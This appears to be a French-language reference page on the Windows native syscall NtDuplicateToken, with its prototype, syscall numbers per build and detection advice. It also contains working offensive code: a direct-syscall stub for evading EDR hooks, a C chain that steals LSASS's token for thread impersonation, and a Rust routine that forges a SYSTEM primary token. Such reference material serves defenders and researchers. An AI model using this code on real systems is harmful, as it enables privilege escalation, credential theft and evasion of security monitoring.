NtDuplicateToken
Crée un nouveau jeton d'accès dupliquant un jeton existant, en modifiant éventuellement son type et son niveau d'impersonation.
Prototype
NTSTATUS NtDuplicateToken( HANDLE ExistingTokenHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, BOOLEAN EffectiveOnly, TOKEN_TYPE TokenType, PHANDLE NewTokenHandle );
Arguments
| Name | Type | Dir | Description |
|---|---|---|---|
| ExistingTokenHandle | HANDLE | in | Jeton source ; doit être ouvert avec TOKEN_DUPLICATE (0x2). |
| DesiredAccess | ACCESS_MASK | in | Droits demandés sur le nouveau handle (TOKEN_QUERY, TOKEN_IMPERSONATE, TOKEN_ASSIGN_PRIMARY, etc.). |
| ObjectAttributes | POBJECT_ATTRIBUTES | in | Attributs d'objet (le SecurityQualityOfService contrôle SecurityImpersonationLevel — Identification, Impersonation, Delegation). |
| EffectiveOnly | BOOLEAN | in | Si TRUE, les privilèges/groupes désactivés sont retirés du duplicata. Quasiment toujours FALSE en usage offensif. |
| TokenType | TOKEN_TYPE | in | TokenPrimary (1) pour CreateProcessAsUser/WithToken, ou TokenImpersonation (2) pour l'impersonation de thread. |
| NewTokenHandle | PHANDLE | out | Reçoit le handle vers le jeton nouvellement créé. |
IDs de syscalls par version de Windows
| Version de Windows | ID de syscall | Build |
|---|---|---|
| Win10 1507 | 0x42 | win10-1507 |
| Win10 1607 | 0x42 | win10-1607 |
| Win10 1703 | 0x42 | win10-1703 |
| Win10 1709 | 0x42 | win10-1709 |
| Win10 1803 | 0x42 | win10-1803 |
| Win10 1809 | 0x42 | win10-1809 |
| Win10 1903 | 0x42 | win10-1903 |
| Win10 1909 | 0x42 | win10-1909 |
| Win10 2004 | 0x42 | win10-2004 |
| Win10 20H2 | 0x42 | win10-20h2 |
| Win10 21H1 | 0x42 | win10-21h1 |
| Win10 21H2 | 0x42 | win10-21h2 |
| Win10 22H2 | 0x42 | win10-22h2 |
| Win11 21H2 | 0x42 | win11-21h2 |
| Win11 22H2 | 0x42 | win11-22h2 |
| Win11 23H2 | 0x42 | win11-23h2 |
| Win11 24H2 | 0x42 | win11-24h2 |
| Server 2016 | 0x42 | winserver-2016 |
| Server 2019 | 0x42 | winserver-2019 |
| Server 2022 | 0x42 | winserver-2022 |
| Server 2025 | 0x42 | winserver-2025 |
Module noyau
APIs liées
Stub du syscall
4C 8B D1 mov r10, rcx B8 42 00 00 00 mov eax, 0x42 F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Notes non documentées
NtDuplicateToken est la pierre angulaire offensive de toute chaîne de vol de jeton et de Make-Me-Admin. C'est ce qu'enrobent `advapi32!DuplicateToken` et `DuplicateTokenEx`. Le SSN est **resté stable à `0x42`** de Windows 10 1507 à Windows 11 24H2. Les leviers offensifs clés sont `TokenType` (primary vs impersonation) et `SecurityImpersonationLevel` encodé dans `ObjectAttributes->SecurityQualityOfService` : seuls `SecurityImpersonation` (niveau 2) et `SecurityDelegation` (niveau 3) permettent au thread d'*agir* sous l'identité clonée — `SecurityIdentification` ne fait que *vérifier* l'appartenance. Produire un jeton avec capacité de délégation exige que le jeton source soit délégable (TGT Kerberos forwardable en contexte domaine).
Usage courant par les malwares
Le maillon central de pratiquement toute chaîne d'impersonation. Motif A (vol de jeton) : NtOpenProcess(LSASS) -> NtOpenProcessTokenEx(TOKEN_DUPLICATE) -> **NtDuplicateToken(SecurityImpersonation, TokenImpersonation)** -> NtSetInformationThread(ThreadImpersonationToken). Motif B (CreateProcessWithToken / Make-Me-Admin) : -> **NtDuplicateToken(TokenPrimary, SecurityImpersonation)** -> CreateProcessWithTokenW. Motif C (famille Potato) : jeton d'impersonation SYSTEM obtenu via coercition RPC -> **NtDuplicateToken(TokenPrimary)** -> CreateProcessAsUserW. Utilisé par `token::elevate` de Mimikatz, `make_token`/`steal_token` de Cobalt Strike, `impersonate`/`runas` de Sliver, Conti, BlackCat, Royal, et toutes les variantes Potato (Hot, Juicy, Rogue, Sweet, Print, Roasted).
Opportunités de détection
En soi, NtDuplicateToken est assez courant, mais des duplications `TokenPrimary` depuis un processus autre que LSASS ou `services.exe` ciblant un jeton dont le SID utilisateur diffère de celui de l'appelant sont très suspectes. L'événement Windows Security **4624 avec Logon Type 9** (NewCredentials) se déclenche sur `CreateProcessWithLogonW` et constitue un indicateur fort d'impersonation. L'événement **4648** (logon tenté avec credentials explicites) couvre `CreateProcessWithTokenW`. Le provider ETW `Microsoft-Windows-Threat-Intelligence` (réservé PPL) émet des événements de classe `EtwTiLogDuplicateHandle` pour les duplications de jeton dans les processus surveillés. Les EDR hookent quasi systématiquement `ntdll!NtDuplicateToken` ; le bypass par syscall direct est donc l'une des techniques d'évasion EDR standard documentées par les blogs red-team.
Exemples de syscalls directs
asmx64 direct stub (stable SSN 0x42)
NtDuplicateToken PROC
mov r10, rcx
mov eax, 42h ; SSN stable across all builds
syscall
ret
NtDuplicateToken ENDPcFull token-impersonation chain (LSASS -> thread)
// Classic offensive chain: open LSASS token, duplicate as impersonation,
// then impersonate on the current thread. Requires SeDebugPrivilege.
HANDLE hLsass = NULL, hSrc = NULL, hDup = NULL;
OBJECT_ATTRIBUTES oa = { sizeof(oa) };
CLIENT_ID cid = { (HANDLE)(ULONG_PTR)lsassPid, NULL };
SECURITY_QUALITY_OF_SERVICE sqos = {
.Length = sizeof(sqos),
.ImpersonationLevel = SecurityImpersonation, // <-- must be Impersonation or Delegation
.ContextTrackingMode = SECURITY_STATIC_TRACKING,
.EffectiveOnly = FALSE,
};
OBJECT_ATTRIBUTES dupOa = { sizeof(dupOa) };
dupOa.SecurityQualityOfService = &sqos;
NtOpenProcess(&hLsass, PROCESS_QUERY_LIMITED_INFORMATION, &oa, &cid);
NtOpenProcessTokenEx(hLsass, TOKEN_DUPLICATE | TOKEN_QUERY, 0, &hSrc);
NtDuplicateToken(hSrc,
TOKEN_QUERY | TOKEN_IMPERSONATE,
&dupOa,
FALSE,
TokenImpersonation, // <-- not Primary
&hDup);
NtSetInformationThread(NtCurrentThread(),
ThreadImpersonationToken,
&hDup, sizeof(HANDLE));rustPotato-style primary-token forge for CreateProcessWithTokenW
// After an RPC coercion has handed us a SYSTEM impersonation token,
// duplicate it as Primary so we can spawn a SYSTEM-context process.
use windows_sys::Win32::Foundation::HANDLE;
use windows_sys::Win32::Security::{
SECURITY_QUALITY_OF_SERVICE, SecurityImpersonation,
SECURITY_STATIC_TRACKING,
};
use windows_sys::Wdk::Foundation::OBJECT_ATTRIBUTES;
extern "system" {
fn NtDuplicateToken(
existing: HANDLE, desired: u32,
oa: *mut OBJECT_ATTRIBUTES, effective_only: u8,
token_type: u32, new_token: *mut HANDLE) -> i32;
}
const TOKEN_PRIMARY: u32 = 1;
const TOKEN_ASSIGN_PRIMARY: u32 = 0x1;
const TOKEN_DUPLICATE: u32 = 0x2;
const TOKEN_QUERY: u32 = 0x8;
pub unsafe fn forge_primary_system_token(src: HANDLE) -> Option<HANDLE> {
let mut sqos = SECURITY_QUALITY_OF_SERVICE {
Length: std::mem::size_of::<SECURITY_QUALITY_OF_SERVICE>() as u32,
ImpersonationLevel: SecurityImpersonation,
ContextTrackingMode: SECURITY_STATIC_TRACKING as u8,
EffectiveOnly: 0,
};
let mut oa: OBJECT_ATTRIBUTES = std::mem::zeroed();
oa.Length = std::mem::size_of::<OBJECT_ATTRIBUTES>() as u32;
oa.SecurityQualityOfService = &mut sqos as *mut _ as *mut _;
let mut dup: HANDLE = 0;
let s = NtDuplicateToken(
src,
TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY,
&mut oa, 0, TOKEN_PRIMARY, &mut dup);
if s == 0 { Some(dup) } else { None }
}Mappings MITRE ATT&CK
Last verified: 2026-05-20